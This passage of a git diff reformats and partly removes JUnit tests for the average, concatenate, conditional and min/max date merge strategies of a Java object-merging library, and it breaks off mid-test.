Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(20); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(21); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(22); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(21, result); // (20 + 21 + 22) / 3 = 21.0, returned as int + } } - } - - @Test - @DisplayName("Should return default value when all values are null") - void testAverageReturnsDefaultWhenAllNull() { - // Arrange - String fieldName = "score"; - Object source1 = new Object(); - Object source2 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), new LabeledSource<>("source2", source2)); - - Integer defaultValue = 0; - when(fieldDef.getDefaultValue()).thenReturn(defaultValue); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(null); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn(null); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(0, result); + + @Test + @DisplayName("Should handle Long values") + void testAverageWithLongValues() { + // Arrange + String fieldName = "count"; + Object source1 = new Object(); + Object source2 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2)); + + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(1000L); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(2000L); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(1500, result); // (1000 + 2000) / 2 = 1500 + } } - } - @Test - @DisplayName("Should handle single value") - void testAverageWithSingleValue() { - // Arrange - String fieldName = "value"; - Object source1 = new Object(); + @Test + @DisplayName("Should implement MergeStrategy interface correctly") + void testMergeStrategyInterface() { + // Arrange & Act & Assert + assertTrue(strategy instanceof MergeStrategy); + } - List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); + @Test + @DisplayName("Should throw exception for non-numeric values") + void testAverageThrowsExceptionForNonNumeric() { + // Arrange + String fieldName = "name"; + Object source1 = new Object(); - when(fieldDef.getDefaultValue()).thenReturn(null); + List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(42); + when(fieldDef.getDefaultValue()).thenReturn(null); - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn("John"); - // Assert - assertEquals(42, result); // Average of single value is the value itself + // Act & Assert + assertThrows( + InvalidSourceException.class, + () -> strategy.merge(sources, fieldDef, fieldName)); + } } - } - - @Test - @DisplayName("Should return double when result has decimal places") - void testAverageReturnsDoubleForNonWholeNumbers() { - // Arrange - String fieldName = "temperature"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(20); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source2, fieldName)).thenReturn(21); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source3, fieldName)).thenReturn(22); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(21, result); // (20 + 21 + 22) / 3 = 21.0, returned as int - } - } - - @Test - @DisplayName("Should handle Long values") - void testAverageWithLongValues() { - // Arrange - String fieldName = "count"; - Object source1 = new Object(); - Object source2 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), new LabeledSource<>("source2", source2)); - - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(1000L); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn(2000L); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(1500, result); // (1000 + 2000) / 2 = 1500 - } - } - - @Test - @DisplayName("Should implement MergeStrategy interface correctly") - void testMergeStrategyInterface() { - // Arrange & Act & Assert - assertTrue(strategy instanceof MergeStrategy); - } - - @Test - @DisplayName("Should throw exception for non-numeric values") - void testAverageThrowsExceptionForNonNumeric() { - // Arrange - String fieldName = "name"; - Object source1 = new Object(); - - List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); - - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn("John"); - - // Act & Assert - assertThrows( - InvalidSourceException.class, () -> strategy.merge(sources, fieldDef, fieldName)); - } - } - - @Test - @DisplayName("Should calculate average with mixed numeric types") - void testAverageWithMixedNumericTypes() { - // Arrange - String fieldName = "value"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(10); // Integer - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn(20L); // Long - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) - .thenReturn(30.0); // Double - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(20, result); // (10 + 20 + 30) / 3 = 20.0 + + @Test + @DisplayName("Should calculate average with mixed numeric types") + void testAverageWithMixedNumericTypes() { + // Arrange + String fieldName = "value"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(10); // Integer + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(20L); // Long + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(30.0); // Double + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(20, result); // (10 + 20 + 30) / 3 = 20.0 + } } - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/concatenate/ConcatenateStrategyTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/concatenate/ConcatenateStrategyTest.java index 71ed41a..100d9e1 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/concatenate/ConcatenateStrategyTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/concatenate/ConcatenateStrategyTest.java @@ -24,290 +24,296 @@ @DisplayName("ConcatenateStrategy Tests") class ConcatenateStrategyTest { - private ConcatenateStrategy strategy; - private PriorityFieldDefinition fieldDef; - - @BeforeEach - void setUp() { - strategy = new ConcatenateStrategy(); - fieldDef = mock(PriorityFieldDefinition.class); - } - - @Test - @DisplayName("Should concatenate strings with default delimiter") - void testConcatenateWithDefaultDelimiter() { - // Arrange - String fieldName = "tags"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getPriority()).thenReturn(null); - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn("java"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn("spring"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) - .thenReturn("boot"); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals("java,spring,boot", result); + private ConcatenateStrategy strategy; + private PriorityFieldDefinition fieldDef; + + @BeforeEach + void setUp() { + strategy = new ConcatenateStrategy(); + fieldDef = mock(PriorityFieldDefinition.class); } - } - - @Test - @DisplayName("Should respect priority order for concatenation") - void testConcatenateRespectsPriority() { - // Arrange - String fieldName = "description"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - Map priority = new HashMap<>(); - priority.put("source3", 1); - priority.put("source1", 2); - priority.put("source2", 3); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getPriority()).thenReturn(priority); - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn("first"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn("second"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) - .thenReturn("third"); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals("third,first,second", result); // Ordered by priority + + @Test + @DisplayName("Should concatenate strings with default delimiter") + void testConcatenateWithDefaultDelimiter() { + // Arrange + String fieldName = "tags"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getPriority()).thenReturn(null); + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn("java"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn("spring"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn("boot"); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals("java,spring,boot", result); + } } - } - - @Test - @DisplayName("Should skip null values") - void testConcatenateSkipsNullValues() { - // Arrange - String fieldName = "keywords"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getPriority()).thenReturn(null); - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn("python"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn(null); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) - .thenReturn("javascript"); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals("python,javascript", result); // source2 is skipped + + @Test + @DisplayName("Should respect priority order for concatenation") + void testConcatenateRespectsPriority() { + // Arrange + String fieldName = "description"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + Map priority = new HashMap<>(); + priority.put("source3", 1); + priority.put("source1", 2); + priority.put("source2", 3); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getPriority()).thenReturn(priority); + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn("first"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn("second"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn("third"); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals("third,first,second", result); // Ordered by priority + } + } + + @Test + @DisplayName("Should skip null values") + void testConcatenateSkipsNullValues() { + // Arrange + String fieldName = "keywords"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getPriority()).thenReturn(null); + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn("python"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn("javascript"); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals("python,javascript", result); // source2 is skipped + } } - } - - @Test - @DisplayName("Should return default value when all sources are null") - void testConcatenateReturnsDefaultWhenAllNull() { - // Arrange - String fieldName = "notes"; - Object source1 = new Object(); - Object source2 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), new LabeledSource<>("source2", source2)); - - String defaultValue = "No notes"; - when(fieldDef.getPriority()).thenReturn(null); - when(fieldDef.getDefaultValue()).thenReturn(defaultValue); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(null); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn(null); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals("No notes", result); + + @Test + @DisplayName("Should return default value when all sources are null") + void testConcatenateReturnsDefaultWhenAllNull() { + // Arrange + String fieldName = "notes"; + Object source1 = new Object(); + Object source2 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2)); + + String defaultValue = "No notes"; + when(fieldDef.getPriority()).thenReturn(null); + when(fieldDef.getDefaultValue()).thenReturn(defaultValue); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(null); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals("No notes", result); + } } - } - @Test - @DisplayName("Should handle single value") - void testConcatenateWithSingleValue() { - // Arrange - String fieldName = "category"; - Object source1 = new Object(); + @Test + @DisplayName("Should handle single value") + void testConcatenateWithSingleValue() { + // Arrange + String fieldName = "category"; + Object source1 = new Object(); - List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); + List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); - when(fieldDef.getPriority()).thenReturn(null); - when(fieldDef.getDefaultValue()).thenReturn(null); + when(fieldDef.getPriority()).thenReturn(null); + when(fieldDef.getDefaultValue()).thenReturn(null); - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn("technology"); + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn("technology"); - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); - // Assert - assertEquals("technology", result); + // Assert + assertEquals("technology", result); + } } - } - @Test - @DisplayName("Should throw exception for non-String values") - void testConcatenateThrowsExceptionForNonString() { - // Arrange - String fieldName = "age"; - Object source1 = new Object(); + @Test + @DisplayName("Should throw exception for non-String values") + void testConcatenateThrowsExceptionForNonString() { + // Arrange + String fieldName = "age"; + Object source1 = new Object(); - List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); + List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); - when(fieldDef.getPriority()).thenReturn(null); - when(fieldDef.getDefaultValue()).thenReturn(null); + when(fieldDef.getPriority()).thenReturn(null); + when(fieldDef.getDefaultValue()).thenReturn(null); - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(25); + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(25); - // Act & Assert - assertThrows( - InvalidSourceException.class, () -> strategy.merge(sources, fieldDef, fieldName)); + // Act & Assert + assertThrows( + InvalidSourceException.class, + () -> strategy.merge(sources, fieldDef, fieldName)); + } } - } - - @Test - @DisplayName("Should implement MergeStrategy interface correctly") - void testMergeStrategyInterface() { - // Arrange & Act & Assert - assertTrue(strategy instanceof MergeStrategy); - } - - @Test - @DisplayName("Should concatenate with priority and skip nulls") - void testConcatenateWithPriorityAndNulls() { - // Arrange - String fieldName = "tags"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - Map priority = new HashMap<>(); - priority.put("source1", 2); - priority.put("source2", 1); - priority.put("source3", 3); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getPriority()).thenReturn(priority); - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn("java"); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn(null); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) - .thenReturn("spring"); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals("java,spring", result); // source2 skipped, ordered by priority + + @Test + @DisplayName("Should implement MergeStrategy interface correctly") + void testMergeStrategyInterface() { + // Arrange & Act & Assert + assertTrue(strategy instanceof MergeStrategy); } - } - - @Test - @DisplayName("Should handle empty string values") - void testConcatenateWithEmptyStrings() { - // Arrange - String fieldName = "parts"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getPriority()).thenReturn(null); - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn("start"); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source2, fieldName)).thenReturn(""); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) - .thenReturn("end"); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals("start,,end", result); // Empty strings are kept + + @Test + @DisplayName("Should concatenate with priority and skip nulls") + void testConcatenateWithPriorityAndNulls() { + // Arrange + String fieldName = "tags"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + Map priority = new HashMap<>(); + priority.put("source1", 2); + priority.put("source2", 1); + priority.put("source3", 3); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getPriority()).thenReturn(priority); + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn("java"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn("spring"); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals("java,spring", result); // source2 skipped, ordered by priority + } + } + + @Test + @DisplayName("Should handle empty string values") + void testConcatenateWithEmptyStrings() { + // Arrange + String fieldName = "parts"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getPriority()).thenReturn(null); + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn("start"); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(""); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn("end"); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals("start,,end", result); // Empty strings are kept + } } - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeTest.java deleted file mode 100644 index c84c4fb..0000000 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeTest.java +++ /dev/null @@ -1,98 +0,0 @@ -package de.x132.objectmerger.strategy.conditional; - -import static org.junit.jupiter.api.Assertions.assertEquals; -import static org.junit.jupiter.api.Assertions.assertNull; - -import de.x132.objectmerger.LabeledSource; -import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; -import de.x132.objectmerger.strategy.standard.StandardFieldDefinition; -import java.util.List; -import java.util.Map; -import org.junit.jupiter.api.BeforeEach; -import org.junit.jupiter.api.DisplayName; -import org.junit.jupiter.api.Test; - -@DisplayName("Conditional Merge Strategy Tests") -class ConditionalMergeTest { - - private ConditionalMergeStrategy strategy; - - @BeforeEach - void setUp() { - strategy = new ConditionalMergeStrategy<>(); - } - - @Test - @DisplayName("Should use case strategy when condition matches") - void shouldUseCaseStrategyWhenConditionMatches() { - // Arrange - - // Case 1: If 'master' is present, use Priority - ConditionCase case1 = new ConditionCase<>(); - case1.setCondition("values.containsKey('master')"); - - PriorityFieldDefinition priorityDef = - PriorityFieldDefinition.builder() - .strategy("priority") - .priority(Map.of("master", 1)) - .build(); - case1.setUseStrategy(priorityDef); - - ConditionalFieldDefinition fieldDef = - ConditionalFieldDefinition.builder() - .cases(List.of(case1)) - .defaultStrategy(StandardFieldDefinition.builder().strategy("standard").build()) - .build(); - - // Sources - LabeledSource> src1 = new LabeledSource<>("master", Map.of("field", "A")); - LabeledSource> src2 = new LabeledSource<>("other", Map.of("field", "B")); - List> sources = List.of(src1, src2); - - // Act - Object result = strategy.merge(sources, fieldDef, "field"); - - // Assert - // Priority logic: master=1 -> should pick "A" - assertEquals("A", result); - } - - @Test - @DisplayName("Should use default strategy when no condition matches") - void shouldUseDefaultStrategyWhenNoConditionMatches() { - // Arrange - // Case 1: If 'special' source present (it's not) - ConditionCase case1 = new ConditionCase<>(); - case1.setCondition("values.containsKey('special')"); - - ConditionalFieldDefinition fieldDef = - ConditionalFieldDefinition.builder() - .cases(List.of(case1)) - .defaultStrategy(StandardFieldDefinition.builder().strategy("standard").build()) - .build(); - - // Sources - LabeledSource> src1 = new LabeledSource<>("master", Map.of("field", "A")); - List> sources = List.of(src1); - - // Act - Object result = strategy.merge(sources, fieldDef, "field"); - - // Assert - // Standard Strategy logic - assertEquals("A", result); - } - - @Test - @DisplayName("Should return null if no condition matches and no default strategy") - void shouldReturnNullIfNoMatchAndNoDefault() { - ConditionalFieldDefinition fieldDef = - ConditionalFieldDefinition.builder().cases(List.of()).defaultStrategy(null).build(); - - List> sources = List.of(new LabeledSource<>("s1", Map.of("f", "v"))); - - Object result = strategy.merge(sources, fieldDef, "f"); - - assertNull(result); - } -} diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/date/ComparableMergeStrategyTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/date/ComparableMergeStrategyTest.java index 2f63b94..3f13036 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/date/ComparableMergeStrategyTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/date/ComparableMergeStrategyTest.java @@ -20,89 +20,90 @@ @SuppressWarnings("rawtypes") class ComparableMergeStrategyTest { - private final MaximumValueStrategy maxStrategy = new MaximumValueStrategy(); - private final MinimumValueStrategy minStrategy = new MinimumValueStrategy(); - private final FieldDefinition fieldDef = StandardFieldDefinition.builder().build(); - - @Test - @DisplayName("MaximumValueStrategy picks the latest java.util.Date") - void latestUtilDate() { - Date d1 = new Date(100000L); - Date d2 = new Date(200000L); - Date d3 = new Date(150000L); - - List> sources = wrap(d1, d2, d3); - Object result = maxStrategy.merge(sources, fieldDef, "value"); - - assertEquals(d2, result); - } - - @Test - @DisplayName("MaximumValueStrategy picks the latest java.time.LocalDate") - void latestLocalDate() { - LocalDate d1 = LocalDate.of(2020, 1, 1); - LocalDate d2 = LocalDate.of(2025, 1, 1); // Latest - LocalDate d3 = LocalDate.of(2022, 1, 1); - - List> sources = wrap(d1, d2, d3); - Object result = maxStrategy.merge(sources, fieldDef, "value"); - - assertEquals(d2, result); - } - - @Test - @DisplayName("MinimumValueStrategy picks the earliest java.time.LocalDateTime") - void earliestLocalDateTime() { - LocalDateTime d1 = LocalDateTime.of(2020, 1, 1, 12, 0); // Earliest - LocalDateTime d2 = LocalDateTime.of(2025, 1, 1, 12, 0); - LocalDateTime d3 = LocalDateTime.of(2022, 1, 1, 12, 0); - - List> sources = wrap(d1, d2, d3); - Object result = minStrategy.merge(sources, fieldDef, "value"); - - assertEquals(d1, result); - } - - @Test - @DisplayName("Strategy handles nulls gracefully") - void handleNulls() { - LocalDate d1 = LocalDate.of(2020, 1, 1); - List> sources = wrap(null, d1, null); - - assertEquals(d1, maxStrategy.merge(sources, fieldDef, "value")); - assertEquals(d1, minStrategy.merge(sources, fieldDef, "value")); - } - - @Test - @DisplayName("Returns default value if all sources are null") - void allNullsReturnsDefault() { - fieldDef.setDefaultValue(null); - List> sources = wrap(null, null); - assertNull(maxStrategy.merge(sources, fieldDef, "value")); - - fieldDef.setDefaultValue( - "default"); // Just checking fallback mechanism, though type mismatch could happen in - // real usage if not careful - assertEquals("default", maxStrategy.merge(sources, fieldDef, "value")); - } - - // Helber to create sources where "source" is an object with a "value" field - // Or simply map merge calls to expect object having field. - // Wait, the strategies assume the source IS the object holding the field. - // So we need a simple wrapper class. - - private List> wrap(Object... values) { - if (values == null) return Collections.emptyList(); - return Arrays.stream(values) - .map(v -> new LabeledSource<>("test", new ValueWrapper(v))) - .collect(java.util.stream.Collectors.toList()); - } - - public static class ValueWrapper { - public Object value; - - public ValueWrapper(Object value) { - this.value = value; + private final MaximumValueStrategy maxStrategy = new MaximumValueStrategy(); + private final MinimumValueStrategy minStrategy = new MinimumValueStrategy(); + private final FieldDefinition fieldDef = StandardFieldDefinition.builder().build(); + + @Test + @DisplayName("MaximumValueStrategy picks the latest java.util.Date") + void latestUtilDate() { + Date d1 = new Date(100000L); + Date d2 = new Date(200000L); + Date d3 = new Date(150000L); + + List> sources = wrap(d1, d2, d3); + Object result = maxStrategy.merge(sources, fieldDef, "value"); + + assertEquals(d2, result); + } + + @Test + @DisplayName("MaximumValueStrategy picks the latest java.time.LocalDate") + void latestLocalDate() { + LocalDate d1 = LocalDate.of(2020, 1, 1); + LocalDate d2 = LocalDate.of(2025, 1, 1); // Latest + LocalDate d3 = LocalDate.of(2022, 1, 1); + + List> sources = wrap(d1, d2, d3); + Object result = maxStrategy.merge(sources, fieldDef, "value"); + + assertEquals(d2, result); + } + + @Test + @DisplayName("MinimumValueStrategy picks the earliest java.time.LocalDateTime") + void earliestLocalDateTime() { + LocalDateTime d1 = LocalDateTime.of(2020, 1, 1, 12, 0); // Earliest + LocalDateTime d2 = LocalDateTime.of(2025, 1, 1, 12, 0); + LocalDateTime d3 = LocalDateTime.of(2022, 1, 1, 12, 0); + + List> sources = 